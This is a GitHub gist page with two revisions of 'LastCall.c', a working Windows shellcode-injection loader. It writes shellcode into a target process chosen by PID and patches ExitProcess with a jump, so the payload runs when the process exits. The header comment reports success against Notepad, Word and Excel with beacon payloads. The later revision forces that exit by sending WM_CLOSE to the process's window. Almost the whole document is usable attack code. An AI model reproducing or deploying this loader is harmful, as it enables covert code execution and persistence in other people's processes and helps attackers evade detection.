Skip to content

Instantly share code, notes, and snippets.

@Unleashedmen
Created May 9, 2023 22:57
Show Gist options
  • Select an option

  • Save Unleashedmen/d9e070f8fb9995f1660a5a5134ce22ee to your computer and use it in GitHub Desktop.

Select an option

Save Unleashedmen/d9e070f8fb9995f1660a5a5134ce22ee to your computer and use it in GitHub Desktop.

Revisions

  1. @Wra7h Wra7h revised this gist May 3, 2023. 1 changed file with 33 additions and 1 deletion.
    34 changes: 33 additions & 1 deletion LastCall.c
    Original file line number Diff line number Diff line change
    @@ -18,6 +18,12 @@
    #include <windows.h>

    BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize);
    BOOL CALLBACK EnumWindowsCallback(HWND hWindow, LPARAM lParam);

    typedef struct {
    DWORD dwProcessID;
    HWND hWindow;
    } HANDLEDATA;

    INT wmain(INT argc, WCHAR* argv[])
    {
    @@ -120,7 +126,22 @@ INT wmain(INT argc, WCHAR* argv[])
    goto CLEANUP;
    }

    printf("[+] Finished! Just wait for the process to be cleanly exited.\n");
    // EnumWindows -> SendMessage WM_CLOSE to target window
    HANDLEDATA SProcWnd = { 0 };
    SProcWnd.dwProcessID = dwPID;

    EnumWindows(EnumWindowsCallback, (LPARAM)&SProcWnd);

    if (SProcWnd.hWindow != NULL)
    {
    SendMessageW(SProcWnd.hWindow, WM_CLOSE, NULL, NULL);

    printf("[+] Finished! WM_CLOSE message sent to target process.\n");
    }
    else
    {
    printf("[+] Finished! No window found, just wait for the process to be cleanly exited.\n");
    }

    CLEANUP:

    @@ -152,3 +173,14 @@ BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize)

    return (*BufferSize != 0) ? TRUE : FALSE;
    }

    BOOL CALLBACK EnumWindowsCallback(HWND hWnd, LPARAM lParam)
    {
    HANDLEDATA* pData = (HANDLEDATA*)lParam;
    unsigned long process_id = 0;
    GetWindowThreadProcessId(hWnd, &process_id);
    if (pData->dwProcessID != process_id)
    return TRUE;
    pData->hWindow = hWnd;
    return FALSE;
    }
  2. @Wra7h Wra7h created this gist Apr 28, 2023.
    154 changes: 154 additions & 0 deletions LastCall.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,154 @@
    // "A process executes until one of the following events occurs:
    // - Any thread of the process calls the ExitProcess function.
    // - The last thread of the process terminates
    // - ..."
    // Ref: https://learn.microsoft.com/en-us/windows/win32/procthread/terminating-a-process
    //
    // --------------------------------------------------------------------------------------------
    //
    // The idea is to inject shellcode into another process and stomp the instructions of it's ExitProcess().
    // So when ExitProcess is called, the thread will be redirected to the shellcode instead of exiting.
    // This seems to kill the window of the target application, but the process can be seen alive if you
    // are using complex shellcode like a beacon as opposed to popping calc. All of my testing has target
    // processes in sessions greater than 0. Stuff like Notepad, WORD, EXCEL have successfully triggered
    // execution when clicking the exit button in the GUI.
    // - Wra7h

    #include <stdio.h>
    #include <windows.h>

    BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize);

    INT wmain(INT argc, WCHAR* argv[])
    {
    BOOL Ret = FALSE;
    DWORD cbShellcode = 0;
    DWORD dwPID = 0;
    HINSTANCE hDLL = NULL;
    FARPROC pEP = NULL;

    HANDLE hProcess = NULL;
    PCHAR pShellcode = NULL;
    PBYTE pbMerged = NULL;

    if (argc != 3)
    {
    printf("Usage: LastCall.exe <pid> <C:\\Path\\To\\Shellcode.bin>");
    goto CLEANUP;
    }

    dwPID = wcstoul(argv[1], NULL, 0);

    //Read shellcode and setup
    Ret = ReadContents(argv[2], &pShellcode, &cbShellcode);

    if (!Ret)
    {
    printf("[!] Failed to read specified shellcode file.\n");
    goto CLEANUP;
    }

    // Get handle to process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);

    if (hProcess == NULL)
    {
    printf("[!] OpenProcess failed. Exiting...\n");
    goto CLEANUP;
    }

    //Allocate memory for shellcode
    PVOID hAlloc = VirtualAllocEx(hProcess,
    NULL, cbShellcode, MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);

    if (!hAlloc)
    {
    printf("[!] VirtualAllocEx failed. Exiting...\n");
    goto CLEANUP;
    }

    //Write the shellcode to the allocation address
    Ret = WriteProcessMemory(hProcess, hAlloc, pShellcode, cbShellcode, NULL);

    if (!Ret)
    {
    printf("[!] WriteProcessMemory failed to write shellcode. Exiting...\n");
    goto CLEANUP;
    }

    //Create a jmp to the address for shellcode
    BYTE mov_rax[] = {0x48, 0xb8};
    BYTE jmp_rax[] = {0xff, 0xe0};

    pbMerged = (PCHAR)malloc(sizeof(mov_rax) + sizeof(&hAlloc) + sizeof(jmp_rax));

    if (pbMerged == NULL)
    goto CLEANUP;

    size_t i = 0;
    memcpy(pbMerged + i, mov_rax, sizeof(mov_rax));
    i += sizeof(mov_rax);
    memcpy(pbMerged + i, &hAlloc, sizeof(&hAlloc));
    i += sizeof(&hAlloc);
    memcpy(pbMerged + i,jmp_rax, sizeof(jmp_rax));
    i += sizeof(jmp_rax);


    // Find the address of ExitProcess function
    hDLL = GetModuleHandleW(L"kernel32");

    if (hDLL == NULL)
    {
    printf("[!] GetModuleHandle failed. Exiting...\n");
    goto CLEANUP;
    }

    pEP = GetProcAddress(hDLL, "ExitProcess");

    if (pEP == NULL)
    {
    printf("[!] GetProcAddress failed to find ExitProcess. Exiting...\n");
    goto CLEANUP;
    }

    //Write the jmp to shellcode to the ExitProcess address
    Ret = WriteProcessMemory(hProcess, pEP, pbMerged, sizeof(mov_rax) + sizeof(&hAlloc) + sizeof(jmp_rax), NULL);
    if (!Ret)
    {
    printf("[!] WriteProcessMemory failed to write jmp. Exiting...\n");
    goto CLEANUP;
    }

    printf("[+] Finished! Just wait for the process to be cleanly exited.\n");

    CLEANUP:

    if (hProcess != NULL)
    CloseHandle(hProcess);

    if (pShellcode)
    free(pShellcode);

    if (pbMerged)
    free(pbMerged);

    return 0;
    }

    BOOL ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize)
    {
    FILE* f = NULL;
    _wfopen_s(&f, Filepath, L"rb");
    if (f)
    {
    fseek(f, 0, SEEK_END);
    *BufferSize = ftell(f);
    fseek(f, 0, SEEK_SET);
    *Buffer = malloc(*BufferSize);
    fread(*Buffer, *BufferSize, 1, f);
    fclose(f);
    }

    return (*BufferSize != 0) ? TRUE : FALSE;
    }